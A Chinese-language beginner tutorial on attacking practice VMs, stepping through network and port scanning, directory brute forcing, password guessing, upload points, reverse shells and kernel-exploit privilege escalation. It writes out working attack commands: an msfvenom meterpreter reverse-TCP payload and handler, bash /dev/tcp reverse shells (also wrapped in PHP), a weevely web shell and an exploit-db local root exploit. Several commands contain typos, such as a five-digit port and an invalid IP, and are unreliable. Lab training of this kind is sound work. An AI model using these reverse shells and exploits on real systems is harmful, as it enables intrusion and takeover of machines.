对于我们新手来说,在对于渗透有了一定了了解后,且大多数的工具会用后,我们就可以开始练习打靶机了。
靶机的下载地址我放在下发:
接下来我会介绍如何攻打靶机的流程
信息收集(ip扫描,端口扫描,开启的服务扫描,网页的后台扫描,账号密码的爆破,寻找上传点 等等)
反弹shell
提权(获取root权限)
我们先聊如何信息收集,我会把我所知道信息收集方式告诉你们,希望能对你们有所帮助。
这里的打靶机,一般靶机都会开http服务给你,因为也只有这样才好给你们渗透,而且这里一般都会找到一个登陆的界面,这个界面一般都是数据库后台或者是网页后台,当然,你们也可以根据靶机开启的服务去攻击靶机,这个都是依据情况而定的,看你自己喜欢哪种,个人建议,两种都可以试试。
ip扫描
arp-scan -l | 通过对mac的扫描,从而快速的进行ip地址的收集 |
fping -g 192.168.100.0/24 -q -a | 也是扫描ip的,而其中的参数是为了只显示ip信息,其它的信息不显示 |
nmap -sP 192.168.100.0/24 | 和前面两个一样 |
netdiscover -p | 被动式的扫描ip,这个也只有对方的电脑是处于活动状态,它的ip才会被扫到,不然是扫不到的,但这个不容易被人发现 |
netdiscover -i eth0 -r 192.168.100.0/24 | 主动式的扫描,这个和上面那个刚好意思都是相反的 |
端口扫描
查看该ip下开启了哪些端口
nmap -sU 192.168.100.1 -p 1-65535 #这里-p后面的参数是可以随便改的
查看哪些端口是处于开启状态的
nmap -sU 192.168.100.1 -p 1-65535 --open
查看该ip下开启了哪些端口开启了哪些服务
nmap -n -sS 192.168.100.1
这个端口扫描也可以扫描漏洞的,看该ip下存在了哪些漏洞,对于扫描出来的漏洞,我们如果想要利用的话,则需要用到msfconsole这个扫描工具
利用nmap扫描常见的漏洞
nmap -T4 -A -v 192.168.100.1 --script=vuln
利用nmap扫描windows系统漏洞的检测
nmap -p- -sv -script vuln --script -args unsafe 192.168.100.1
还有这个也是扫描漏洞
nmap -p- -sV --vsersion-all --script vuln 192.168.100.1
-p- 指的是将目标端口指定为全部有效端口, -sV --version-all 用来提高版本检测的效率。
运行上面的指令稍微等待一会儿,我们可以得到一份漏扫报告
kali的enum4linux(信息收集)
enum4linux是kali自带的一款信息收集工具,可以收集windows系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等。
enum4linux 192.168.2000.131
网页后台的扫描
dirb扫描后台目录的工具(类似于御剑)
dirb http://192.168.100.100 192.168.100.100为目标IP地址,对其后台目录进行扫描
dirb http://192.168.100.100-x **.php 将后台特定的目录提取出来
kali上还有一个图形化界面的扫描工具
dirbuster #这里要在终端打开
使用教程在这里
账号密码的爆破
能做到这一步说明,前面的信息收集已经做的差不多了,这是我们一般会在这找到一个登陆的页面,这时我们可以先尝试一下手动注入弱口令,例如:root、admin、password、123456等等,要是手动注入注入不出来,我们在采用利用burp这个抓包工具进行爆破
寻找上传点
这里之所以要寻找上传点时因为,我们需要先反弹shell,而这里的shell也就时靶机的普通用户的权限。
这里的上传点一般都是可以上传文件或图片,实在不行就找一个网页的文件,可以将里面的代码给改了,只不过这种最难的就时确定网页文件的路径,这一步有点麻烦,所以还是看个人。
反弹shell
这里我会总结我常用的三种方法,希望能对你们有帮助
msf生成木马文件进行反弹shell
生成木马文件
msfvenom -p windows/meterpreter/reverse_tcplhost=192.168.100.128 lport=5000 -f exe -o /root/tjy.exe
这里的ip是设为kali的ip
msfconsole 进入这个工具
use exploit/multi/handler 使用这个漏洞辅助
set payload windows/meterpreter/reverse_tcp 设置payload攻击载荷
set lhost 192.168.100.128 设置kali的ip
set lport 5000 设置监听端口
exploit / run 开始监听
对其上传点上传反弹shell命令
bash -I >& /dev/tcp/192.168.100.129/88880 >&1
bash -c ‘bash -I >&/dev/tcp/192.168.100.129/8888 0 >&1’
kali上输入对其连接
nc -lvp 8888
当在网页上利用可以写Php代码的地方上传是,如果要利用上面那个反弹shell的话,则需要将上面的代码包在php代码里才可以执行起来,如下
<?php
exec(“bash -c ‘bash -I >& /dev/tcp/192.168.100.129/8888 0>&1’”)?>
weevely(反弹shell,类似于蚁剑和菜刀)
weevely generate 123 1.php 生成一个木马文件
weevely +网页路径(上传木马文件的路径)123
反弹shell成功后的页面
file_upload +原文件路径 +改名字
curl
提权(获取root权限)
在提权之前我们要先获取靶机的内核版本,这样我们才能在kali上下载提权所用的文件
查看靶机上的内核版本
uname -a #要在靶机上输出
如何下载编译文件
searchsploit linux | grep 3.13.0 搜索编译文件
searchsploit -p 37292 将编译文件进行复制后并显示地址
而我们要做的则是将这个编译文件弄到桌面上去,命令如下
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面
或者
在桌面上打开终端,输入以下命令,这种要改个名字就行
cp/usr/share/exploitdb/exploits/linux/local/37292.c 2.c
文件下载好后在靶机上将下载好的文件进行编译,然后接着打下面的命令就行了
gcc 源文件 -o exploit 将文件进行编译,exploit这个可以随便改,这个是个名字
ps aux | grep udev
./exploit pid(这里填root的pid)
我们这里如何使用msf生成的木马文件进行连接的话,我们在kali上下载的针对内核版本的编译文件就要在meterpreter > 这里上传,因为一旦打了shell就会进入到靶机里了,就无法上传我们的文件
在meterpreter >这里输入以下命令即可上传我们在kali上下载的编译文件
upload /root/桌面/1.c
如果我们想要在靶机上下载东西的话需要我们退到meterpreter >这里,然后输入以下命令
download +要下载的东西路径即可
在靶机中查看当前路径
pwd
在靶机中查看当前用户直接输入以下命令
id或whoami
在靶机中一级一级的退
back
在靶机中搜索某个文件时所用
find | grep “name”
在靶机中查看文件或其他
cat